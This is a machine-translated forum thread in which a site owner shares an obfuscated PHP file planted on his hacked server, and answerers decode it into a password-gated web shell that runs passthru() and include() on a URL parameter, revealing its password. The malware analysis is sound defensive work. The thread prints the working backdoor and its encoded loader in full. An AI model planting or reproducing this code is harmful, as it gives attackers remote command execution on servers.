2011-01-19 2 views
3

Недавно был взломан мой сайт. Хотя фактический веб-сайт остается неизменным, они каким-то образом могли использовать домен для создания ссылки, перенаправленной на мошенничество с фишингом ebay.Какова уязвимость в моем PHP-коде?

Я взял сайт по понятным причинам, поэтому я не могу ссылаться на код. Мне интересно, как я могу узнать, какую уязвимость они использовали, чтобы я мог избежать этой проблемы в будущем. На странице использовался PHP, а также некоторый javascript (для проверки формы).

Есть ли бесплатный сервис, который сканирует мой код на наличие уязвимостей? Каковы мои другие варианты?

Спасибо, Джефф

EDIT: Я принимал файлы на [ссылка удалена]

несколько вещей, чтобы отметить: Есть несколько файлов в «funcs» папка, большинство из которых Арен Я использовал их, но я оставил их там на всякий случай. Проблема «new.php» (содержимое ниже) в папке «данные» явно является проблемой. Большой вопрос: как кому-то удалось загрузить «new.php» на сервер? Также есть RTF полученного мной электронного письма, в котором есть информация о мошенничестве.

(Внимание: этот код, вероятно, «опасно» на ваш компьютер)

<?php 
$prv=strrev('edoced_46esab'); 
$vrp=strrev('etalfnizg'); 
eval($vrp($prv("rVPRbpswFNW0P9jbNE1ChojQSDD7cm0syvoB5A/GxhiBJVoKxJC0pFr667v0pe1L2k17snyvz/G559jOLxCVxjGCfEBYc1noQfE8VL0SpUYTwQah43LQueKbh3IeQYlguBx1p/gQqkqJFUKiPsWO0Vgh9LoN1R4EoUsuq7xU3Cgxgug0DhHQiVVOjVavFK9ClbDjKH2ZLgOrbpoA0RbNj/dv3r77KF3ED237vVlkrH9Wu7srzM1uv7t3h942N5mTsYM7O52s0y5jsz3thntz6gvCPiWcEVubLpO0tme+VxdHGdq3xe90WU+0wg+hQREGEi9c9G18gprOBPPZBWTMfixP1YwFdlMcNw9UVInT5XjLYqcHQcOSTxvFGyV+5q3GPcKgOzKHHFUi+Te/YmerBK0Nua/XectlnU+JRDBq7OjWKRJOEE0tSqaKIOkHs62a+StEebFDgR4UL7jc5l0Ea9JBXNiSDD3F5bpx3Zq5syaIpudx0FiAuI7gwGVPCpW4TugtnGlf/v0EZ/kWC+8F0ZafWOXazFuzeo0JX87d9tWzvlnOf/s4Xlwdiu2cXX1m/gtT+OzyinnxHw=="))); 
?> 
+2

Я думаю, что этот вопрос был бы лучше на http://serverfault.com/. – Maxpm

+4

.. или Security StackExchange Beta на http://security.stackexchange.com – soulseekah

+1

@Maxpm Возможно, но я не администратор сервера. И это уязвимость в коде, а не сама сеть. К сожалению, я не могу ссылаться на код, но если кто-то захочет помочь, я могу, возможно, зайти на сайт и разместить его где-нибудь? – Jeff

ответ

9

Интересные вещи, происходящие здесь. Блок PHP вычисляет миленький «генератора кода»:


$k32e95y83_t53h16a9t71_47s72c95r83i53p16t9_71i47s72_83c53r16y9p71t47e72d53=70; 
$r95e53s9o47u32r83c16e_c71r72y32p95t83e53d_c16o9d71e47="zy6.6KL/ fnn/55#2nb6'55oo`n+\"snb6'55o{{arwquq'ts#rw\$\"v'%~~ ~q\"%u\"vtr~sao`n/55#2nb%oooKL=Kf#%.)faz64#xa}KLf6'552.43n524/65*'5.#5nb%oo}KLf/(%*3\"#nb%o}KLf\"/#nazi64#xao}K;KLyx"; 
$s32t83r16i71n72g_o95u53t9p47u16t72=$r95e53s9o47u32r83c16e_c71r72y32p95t83e53d_c16o9d71e47;$l72e47n71t9h_o16f_c53r83y95p32t47e71d_c9o16d53e83=strlen($s32t83r16i71n72g_o95u53t9p47u16t72); 
$e72v71a16l_p83h32p_c95o53d9e47=''; 

for($h47u9i53v95a32m83v16s71e72m=0;$h47u9i53v95a32m83v16s71e72m<$l72e47n71t9h_o16f_c53r83y95p32t47e71d_c9o16d53e83;$h47u9i53v95a32m83v16s71e72m++) 
$e72v71a16l_p83h32p_c95o53d9e47 .= chr(ord($s32t83r16i71n72g_o95u53t9p47u16t72[$h47u9i53v95a32m83v16s71e72m])^$k32e95y83_t53h16a9t71_47s72c95r83i53p16t9_71i47s72_83c53r16y9p71t47e72d53); 

eval("?>".$e72v71a16l_p83h32p_c95o53d9e47."<?"); 

Когда мерзкие имена переменных заменяются на что-то более читаемым, вы получите:


$Coefficient=70; 

$InitialString="zy6.6KL/ fnn/55#2nb6'55oo`n+\"snb6'55o{{arwquq'ts#rw\$\"v'%~~ ~q\"%u\"vtr~sao`n/55#2nb%oooKL=Kf#%.)faz64#xa}KLf6'552.43n524/65*'5.#5nb%oo}KLf/(%*3\"#nb%o}KLf\"/#nazi64#xao}K;KLyx"; 

$TargetString=$InitialString; 

$CntLimit=strlen($TargetString); 

$Output=''; 

for($i=0;$i<$CntLimit;$i++) 
$Output .= chr(ord($TargetString[$i])^$Coefficient); 

eval("?>".$Output."<?"); 

, который при оценке, выплевывает код:


<?php 
if ((isset($_GET[pass]))&(md5($_GET[pass])== 
     '417379a25e41bd0ac88f87dc3d029485')&(isset($_GET[c]))) 
{ 
echo '<pre>'; 
passthru(stripslashes($_GET[c])); 
include($_GET[c]); 
die('</pre>'); 
} 
?> 

Следует отметить, что строка: '417379a25e41bd0ac88f87dc3d029485' является md5 хэш пароля: Zrhenjq2009

Я буду пинать это завтра еще немного.

Edit:
Хорошо, так что я провел несколько минут, играя с этим. Это похоже на сценарий удаленного управления. Итак, теперь эта страница (новая.php) сидит на вашем сервере. Если пользователь нажимает эту страницу и передает параметр url с именем «pass» со значением «Zrhenjq2009», тогда они могут выполнить внешнюю команду на сервере, передав команду и аргументы в url как параметр с именем 'c'. Таким образом, это оказывается генератором кода, который создает бэкдор на сервере. Довольно круто.

Я вытащил файл, который вы загрузили, и запустил new.php через VirusTotal.com, и он кажется новым (или существенно измененным) трояном. Кроме того, похоже, что 51.php является троянцем PHPSpy: VirusTotal analysis, 74.php - это троянец PHP.Shellbot VirusTotal Analysis, а func.php - «webshell by orb». Похоже, кто-то сбросил на ваш сервер хороший пакет хакеров, а также скрипты/страницы фишинга ebay, ссылки на которые вы загрузили.

Возможно, вы должны удалить ссылку для скачивания файла в своем исходном сообщении.

Если у вас есть руки на бревнах, может быть интересно взглянуть.

Наслаждайтесь.

+1

Хороший анализ, за ​​исключением того, что целью этого является сброс файлов с сервера, а не их выполнение. Команда 'passthru()' извлекает файл, указанный в '$ _GET [c]', и отправляет его на сервер. Обратите внимание, что с потоковыми фильтрами вы можете передать URL как параметр 'c', и это превратится в прокси. – Orbling

3

Если вы используете (контроль версий, как мерзавец, ртутная, диверсия, CVS) VCS вы можете просто сделать от последней хорошей фиксации и оттуда.

Вы используете контроль версий, правильно?

+0

На самом деле, это действительно одноразовый проект. Это онлайн-эксперимент по психологии, я нанял участников Mturk. Я сделал сотни из них, и я обычно не удаляю их с сервера после того, как я закончил. Это первый, на который напали. – Jeff

+2

Я действительно не понимаю, что это связано с использованием контроля версий на вашем источнике. – coreyward

+0

Я имею в виду, что код, который размещен, является первой и последней версией, которая когда-либо будет. Я написал его примерно через 15 минут и никогда не планировал редактировать его снова. Нет необходимости в управлении версиями. Как правило, после сбора данных (около 1-2 дней) сайт больше не служит цели. – Jeff

1

У вас есть доступ к журналам сервера? Если у вас есть приблизительное время, когда произошел первый эксплойт, они должны иметь возможность пройти долгий путь, помогая вам понять, что сделал человек. Помимо предоставления общих советов, его действительно трудно сказать без дополнительной информации.

Можете ли вы поделиться кодом (пожалуйста, удалите имена пользователей/пароли и т. Д.)? Если так, я бы хотел взглянуть, но может потребоваться целый день (извините, я в настоящее время работаю над докладом об уязвимости SQL Injection, рекомендацией для определения ограниченных данных и будущими стандартами/процессами, чтобы предотвратить его будущее, и у меня есть четверо детей дома, в том числе 3 месяца).

+0

У меня нет доступа к журналам, но я могу их приобрести. Я займусь этим завтра ... Я загрузил весь код на веб-сайте, если у вас есть шанс взглянуть. Если вы заняты, я полностью понимаю! – Jeff

Смежные вопросы